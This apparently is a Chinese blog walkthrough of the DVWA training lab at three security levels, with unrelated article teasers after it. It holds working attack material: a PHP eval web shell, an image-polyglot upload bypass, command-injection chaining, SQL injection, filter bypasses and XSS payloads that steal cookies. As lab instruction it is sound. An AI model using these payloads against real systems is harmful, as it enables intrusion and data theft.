dvwa靶场实战

发布时间:2026/11/4 18:30:48

dvwa靶场实战 文章目录lowbrute forceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)mediumBrute ForceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)highBrute ForceCommand InjectionCross Site Request Forgery (CSRF)File InclusionFile UploadInsecure CAPTCHASQL InjectionSQL Injection (Blind)Weak Session IDsDOM Based Cross Site Scripting (XSS)Reflected Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS)lowbrute force使用任意用户名和密码尝试登录使用 Burp Suite 进行抓包暴力破解发送到攻击器进行爆破选择集束炸弹模式payload1 设置成用户名payload2 设置成密码进行爆破根据长度数值判断出正确的用户名和密码是 admin/passwordCommand Injection提交 IP 地址得到回显如果是乱码修改dvwa\includes目录下的dvwaPage.ini.php文件搜索utf-8将其修改为GBK或GB2312。使用 Burp Suite 抓包查看猜测是前面拼接了ping命令所以只需要提交 IP 地址。这样的话可以利用命令拼接让系统继续执行后面的命令。命令连接符说明无论前一个命令是否执行成功后一个命令都会执行两个命令都会执行。前面一个命令执行成功后才能执行后面一个命令两个命令都执行|前面一个命令无论是否执行后面的命令都能执行且只执行后面一个||前面一个命令不能正常执行后才能执行后面一个命令Cross Site Request Forgery (CSRF)在界面上更改密码后提示更改成功但是 URL 栏会显示提交的内容说明我们在网站上输入的信息会在 URL 栏这里进行传输和执行。因此攻击者可以不通过该页面修改密码而是直接在任意页面通过地址栏修改。在 Home 页面地址栏输入修改密码的 URL会发现修改成功完成一次跨站请求伪造CSRF攻击。File Inclusion每次查看 1.php、2.php、3.php 会返回文件的内容同时会将文件名传给 page 参数所以可以尝试把参数换成本地文件路径。File Upload上传后门或恶意文件一句话木马?phpeval($_POST[shell]);?上传成功使用蚁剑进行连接URL 在上传成功的回显里。连接成功Insecure CAPTCHA直接使用 Burp Suite 抓包把step参数修改为2。SQL Injection随便输入 id 进行查看有回显尝试判断闭合方式。根据报错信息初步判断是单引号闭合。验证得到是单引号闭合。判断字段数输入 3 时报错输入 2 时正常所以有两个字段。使用联合查询进行数据拖库查询数据库名查询表名如果遇到下面错误DVWA 默认数据库dvwa中原查询从users表读取字段校对集一般为 utf8_general_ciinformation_schema.tables 系统库默认校对集多为 utf8_bin 或其他编码两者不匹配UNION 直接报错。使用table_nameCOLLATEutf8_general_ci手动强制把系统表字段编码改成和 DVWA 数据库一致彻底校对集冲突。查询列名提取数据密码需要再次使用md5进行解密。还可以使用报错注入的方式SQL Injection (Blind)盲注类型包括布尔盲注、时间盲注等。首先查看是否有回显、是否有报错信息等。判断闭合方式确认是单引号闭合。尝试进行布尔盲注。判断数据库名的长度可以使用二分法来逐渐缩小范围。最后得到长度为4长度等于4时不报错接着判断表名先判断表的个数。知道有两个表,再判断每张表名长度使用bp爆破两张表名通过结果得到两张表分别是guestbook / users同样地方法再去爆破列名最后爆破数据Weak Session IDs正常来讲在浏览器直接访问http://192.168.157.148:8080/dvwa/vulnerabilities/weak_id/会是登录页面使用 Burp Suite 抓包复制cookiedvwaSession1;securitylow;PHPSESSIDk41oqbpot3kt4ooq969hugdldu重新打开一个页面将刚才复制下来的cookie粘贴到上面就可以实现直接登录了不用输入用户名和密码在这之前要先清除一下浏览器的 cookie 值DOM Based Cross Site Scripting (XSS)选择不同标签时default 会发生变化在此传入 XSS 代码。传入的代码正常执行。Reflected Cross Site Scripting (XSS)传入随机值并查看结果直接传入 XSS 代码页面正常显示弹窗Stored Cross Site Scripting (XSS)上传的信息会被存储所以上传的xss代码会在每次登录该页面时触发上传代码重新刷新页面测试触发弹窗mediumBrute Force这个难度只是多了自动转义单引号’、双引号、反斜杠\、NULL 字符等 SQL 语句里的危险符号。还是可以和 Low 级别一样使用 Burp Suite 进行爆破。Command Injection这里增加了一个黑名单过滤// Set blacklist$substitutionsarray(,;,);只过滤了这两个符号依然可以使用管道符|进行拼接。Cross Site Request Forgery (CSRF)与 Low 级别一样的话会更改失败。它会检查请求的来源。// Checks to see where the request came fromif(stripos($_SERVER[HTTP_REFERER],$_SERVER[SERVER_NAME])!false)使用 Burp Suite 进行抓包发现请求中没有 Referer 字段。添加 Referer 字段其值需包含与 Host 相同的字段。放包后更改成功。File Inclusion和 Low 级别一样直接更改 URL。只是添加了过滤规则。第一次过滤把http://、https://直接清空以防御远程文件包含RFI。第二次过滤把../、..\直接清空尝试防御目录穿越路径遍历。可以使用双写绕过htthttp://p://和....//。File Upload这次只允许上传 JPEG 或 PNG 格式的图片文件将一句话木马文件后缀改为 .png 进行上传上传时使用 Burp Suite 抓包将文件后缀改回 .php使用蚁剑进行连接测试连接成功。Insecure CAPTCHA同样抓取数据包将step参数修改为2并在后面增加参数passed_captchatrue。SQL Injection这次不能直接进行注入操作。使用 Burp Suite 抓包查看注入点应该在 id 上。判断是数字型闭合。判断字段数2 不报错3 报错所以字段数是 2。接下来可以使用和上次一样的联合查询和报错注入进行数据拖库。SQL Injection (Blind)同样用 Burp Suite 抓包判断闭合方式依旧是数字型闭合接下来就是盲注可以使用时间盲注或者布尔盲注Weak Session IDs这里是通过时间戳来生成的 Session可以通过时间戳转换工具生成时间戳时间戳转换工具使用 Burp Suite 抓包得到时间戳和 Low 级别一样重新抓取一个页面使用 CookieDOM Based Cross Site Scripting (XSS)过滤了script只要含有script就会将default参数重定向为English# Do not allow script tagsif(stripos($default,script)!false){header(location: ?defaultEnglish);exit;}查看页面源码payloadEnglish/option/selectimg srcc onerroralert(document.cookie)闭合标签/option/select用于关闭下拉框紧随其后的img srcx onerroralert(document.cookie)完全跳出原有表单结构图片地址srcx不存在触发onerror事件浏览器执行 JavaScript 代码弹出 Cookie。Reflected Cross Site Scripting (XSS)输入scriptalert(1)/script发现正常回显应该是被过滤了查看源码发现是把script过滤了但str_replace是区分大小写的// Get input$namestr_replace(script,,$_GET[name]);使用大小写绕过Stored Cross Site Scripting (XSS)查看源码?phpif(isset($_POST[btnSign])){// Get input$messagetrim($_POST[mtxMessage]);$nametrim($_POST[txtName]);// Sanitize message input$messagestrip_tags(addslashes($message));$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$messagehtmlspecialchars($message);// Sanitize name input$namestr_replace(script,,$name);$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));// Update database$queryINSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);//mysql_close();}?Message 处使用了 htmlspecialchars() 函数将字符转义为 HTML 实体因此 Message 处无法利用 XSS 进行攻击。Name 处有长度限制并且会将script替换为空但使用的是 str_replace 函数因此可以考虑使用大小写来绕过。解决长度限制将 maxlength 的值改大即可。注入测试成功highBrute Force使用 Burp Suite 抓包发现请求中携带了 token。选择 Pitchfork 模式设置 payload。点击添加选中 token 值。刚开始抓的包不要释放否则此处无法获取到 token 值。此处应选择“总是”。并发要选择1第一个payload使用密码本第二个使用递归提取设置好初始值开始攻击成功获得密码Command Injection设置了黑名单过滤// Set blacklist$substitutionsarray(,;,| ,-,$,(,),,||,);但是其中| 是|后面有一个空格才会被过滤所以还是可以直接使用|。Cross Site Request Forgery (CSRF)可以看到这次多了token使用 Burp Suite 抓包在重放器Repeater中发送请求可以获得新的 token用新的 token 构造 URL修改成功File Inclusion直接使用文件路径访问失败查看源码只允许文件名是file开头或者是include.php// Input validationif(!fnmatch(file*,$file)$file!include.php){// This isnt the page we want!echoERROR: File not found!;所以可以用file 参数去构建File Upload尝试修改后缀上传失败查看源码// Is it an image?if((strtolower($uploaded_ext)jpg||strtolower($uploaded_ext)jpeg||strtolower($uploaded_ext)png)($uploaded_size100000)($uploaded_typeimage/jpeg||$uploaded_typeimage/png)getimagesize($uploaded_tmp)){// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if($uploaded_typeimage/jpeg){$imgimagecreatefromjpeg($uploaded_tmp);imagejpeg($img,$temp_file,100);}else{$imgimagecreatefrompng($uploaded_tmp);imagepng($img,$temp_file,9);}imagedestroy($img);// Can we move the file to the web root from the temp folder?if(rename($temp_file,(getcwd().DIRECTORY_SEPARATOR.$target_path.$target_file))){// Yes!echoprea href${target_path}${target_file}${target_file}/a successfully uploaded!/pre;}else{// NoechopreYour image was not uploaded./pre;}// Delete any temp filesif(file_exists($temp_file))unlink($temp_file);}else{// Invalid fileechopreYour image was not uploaded. We can only accept JPEG or PNG images./pre;}因此必须上传一个图片木马它对文件的文件头、文件名格式等都做了检查。先制作一个图片木马图片木马的文件大小不能超过 100000 字节。在 cmd 中输入顺序别搞错了/b先读完整 PNG 二进制保留标准 PNG 文件头再追加 PHP 文本到文件末尾文件头依然是合法 PNG后端文件类型检测完全放行。copy xxx.png /b xxxx.php /a xxxx.php上传制作的图片马上传成功现在还是利用不了因为后缀还是png因为不能通过bp抓包修改后缀所以可以利用 Command Injection中的漏洞把后缀改成php1|ren C:\phpstudy_pro\WWW\dvwa\hackable\uploads\backdoor.png backdoor.php使用蚁剑尝试连接连接成功Insecure CAPTCHAif($resp||($_POST[g-recaptcha-response]hidd3n_valu3$_SERVER[HTTP_USER_AGENT]reCAPTCHA)){// CAPTCHA was correct. Do both new passwords match?if($pass_new$pass_conf){$pass_new((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$pass_new):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$pass_newmd5($pass_new);// Update database$insertUPDATE users SET password $pass_new WHERE user .dvwaCurrentUser(). LIMIT 1;;$resultmysqli_query($GLOBALS[___mysqli_ston],$insert)ordie(pre.((is_object($GLOBALS[___mysqli_ston]))?mysqli_error($GLOBALS[___mysqli_ston]):(($___mysqli_resmysqli_connect_error())?$___mysqli_res:false))./pre);// Feedback for userechoprePassword Changed./pre;}else{// Ops. Password mismatch$html.preBoth passwords must match./pre;$hide_formfalse;}}原先只有验证码为真才能通过验证现在新增了“或者 g-recaptcha-response 且 HTTP_USER_AGENT 为特定内容”即可通过验证。直接用 Burp Suite 修改数据包。SQL Injection判断闭合方式为单引号闭合使用 UNION 联合查询后续操作与之前相同密码需要进行 MD5 解密SQL Injection (Blind)同样是单引号闭合后续操作与之前的盲注相同。Weak Session IDs这次使用了 MD5 加密解密后与 Low 级别相同。在新页面粘贴复制的 Cookie即可直接进入。DOM Based Cross Site Scripting (XSS)查看源码// Is there any input?if(array_key_exists(default,$_GET)!is_null($_GET[default])){# White list the allowable languagesswitch($_GET[default]){caseFrench:caseEnglish:caseGerman:caseSpanish:# okbreak;default:header(location: ?defaultEnglish);exit;}}设置了白名单如果 default 的值不为 “French”、“English”、“German”、“Spanish” 的话就重置 URL 为?defaultEnglish。可以考虑使用#或者。Reflected Cross Site Scripting (XSS)源码// Is there any input?if(array_key_exists(name,$_GET)$_GET[name]!NULL){// Get input$namepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,,$_GET[name]);// Feedback for end userechopreHello ${name}/pre;}preg_replace() 函数执行一个正则表达式的搜索和替换“*” 代表一个或多个任意字符“i” 代表不区分大小写。因此script被过滤掉了只能使用其他标签。img src1onerroralert(1)Stored Cross Site Scripting (XSS)源码// Sanitize message input$messagestrip_tags(addslashes($message));$message((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$message):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));$messagehtmlspecialchars($message);// Sanitize name input$namepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i,,$name);$name((isset($GLOBALS[___mysqli_ston])is_object($GLOBALS[___mysqli_ston]))?mysqli_real_escape_string($GLOBALS[___mysqli_ston],$name):((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.,E_USER_ERROR))?:));message 留言框strip_tags直接剥离所有 HTML/JS 标签addslashesmysqli_real_escape_string双重转义杜绝 SQL 注入htmlspecialchars把 ’ 全部转为 HTML 实体字符就算残留符号也只会原样显示文本不会被浏览器解析成标签。name 框和上一个一样使用preg_replace函数执行一个正则表达式的搜索和替换不管大小写、中间插入任意字符只要是 任意内容 script结构全部清空。所以还是使用其他标签例如img。img src1onerroralert(1)要是直接在 name 框输入的话需要先修改限制长度。存储成功每次访问都会弹出
延伸阅读

更多相关文章

2026/11/4 19:56:02

【译】利用 GitHub Actions 实现 Visual Studio 扩展构建自动化

如果您正在开发和维护 Visual Studio 扩展程序,大概率都会搭建一套构建与发布工作流 —— 无论是手动操作、脚本化的,还是长期逐步拼凑而成的流程。本文面向扩展插件开发者,如果您希望借助 GitHub Actions 实现 VSIX 文件的构建、版本管理与发…

2026/10/31 11:17:14

03 LangChain入门

1、安装相关依赖 (1)安装langchain uv add langchain (2)安装对应模型的依赖。langchain支持Deepseek、Ollama、OpenAI等模型。。but 不支持阿里的qwen😭 # LangChain支持各种不同的模型,而且提供了对应…

2026/11/2 0:26:51

从概念到实现:E-R图在数据库设计全流程中的实战应用

1. E-R图:数据库设计的可视化语言 第一次接触E-R图时,我盯着那些矩形、菱形和连线看了半天——这玩意儿真的能帮我设计数据库?后来才发现,它就像建筑师的蓝图,把抽象的数据关系变成了直观的图形。E-R图(Ent…

2026/11/5 12:29:32

Text to SQL系统第三层实现:复杂查询意图识别与优化

1. 项目概述Text to SQL系统作为自然语言处理与数据库技术交叉领域的重要应用,正在深刻改变着非技术人员与数据库交互的方式。这个看似简单的"输入问题,输出SQL"功能背后,隐藏着复杂的实现逻辑和技术挑战。今天我们就来拆解这个系统…

2026/11/5 12:29:32

Text-to-SQL系统架构解析与性能优化实践

1. 文本到SQL转换系统的核心价值 在数据驱动的时代,SQL作为与数据库交互的标准语言,其重要性不言而喻。但编写SQL查询需要专业技能,这成为了许多非技术用户获取数据的障碍。Text-to-SQL系统正是为解决这一痛点而生,它允许用户用自…

2026/11/5 12:29:32

钉钉办公自动化:OpenClaw Skill原理与应用

1. 项目概述 OpenClaw Skill是一个基于自动化原理设计的办公效率工具,专门针对钉钉平台的操作优化。它能模拟人工操作流程,实现消息自动收发、审批流程处理、考勤数据管理等高频办公场景的自动化。我在实际使用中发现,这个工具特别适合需要频…

2026/11/5 12:29:32

AI编程辅助工具:5个提升代码可用性的Prompt模板

1. 项目背景与核心价值 去年团队引入AI编程辅助工具时,我们经历了从"玩具demo"到"生产级应用"的艰难跨越。最深的体会是:需求沟通的质量直接决定了AI产出的可用性。那些模糊的"做个用户管理系统"之类的需求,AI…

2026/11/5 12:24:32

云原生智能体协同架构在城市轨道交通中的应用

1. 新一代城市轨道交通云原生智能体协同架构概述城市轨道交通作为现代都市的"大动脉",其运营效率和服务质量直接影响着千万市民的日常生活。近年来,随着云计算、人工智能等技术的快速发展,传统的轨道交通智能化系统架构正面临着前所…

2026/11/5 12:14:29

Stimulsoft Reports 2019.2.2 落地指南:老系统兼容与版本陷阱规避

简介:Stimulsoft Reports 2019.2.2 是一款面向.NET开发者的专业报表控件,适用于WinForms、ASP.NET及WPF平台,帮助开发者快速构建数据可视化报表与打印输出功能,尤其适合中高级C#工程师在企业级管理系统、BI看板或财务报表模块中集…

2026/11/4 12:38:23

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/4 21:04:25

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/5 0:02:07

多智能体协作系统架构设计与实践优化

1. 多智能体协作系统的时代背景2017年Transformer架构的诞生彻底改变了人工智能的发展轨迹。当行业还沉浸在单一大模型带来的性能突破时,Anthropic的研究团队已经将目光投向了更前沿的领域——如何让多个智能体通过协作产生超越单体能力的系统智能。这就像交响乐团中…

2026/11/5 0:02:07

大模型系统性入门实战指南:从原理到部署微调的全链路路线

提到大模型的系统性入门,我先说个结论:这事真不难,难的是资料太散、路线太多,今天这个框架明天那个工具,新人很容易在“收藏夹吃灰”和“教程看到一半放弃”之间反复横跳。市面上关于大模型的内容少说有几十万篇&#…

2026/11/5 0:02:07

鸿蒙文件系统沙箱机制解析与开发实践

1. 鸿蒙文件系统沙箱机制深度解析作为一名从Android转向鸿蒙开发的工程师,我深刻体会到文件系统访问是迁移过程中最先遇到的"拦路虎"。在Android上运行良好的文件读写代码,在鸿蒙真机环境却频频出现文件写入后神秘消失或直接抛出权限拒绝错误的…

2026/11/4 12:38:23

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/4 21:04:25

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑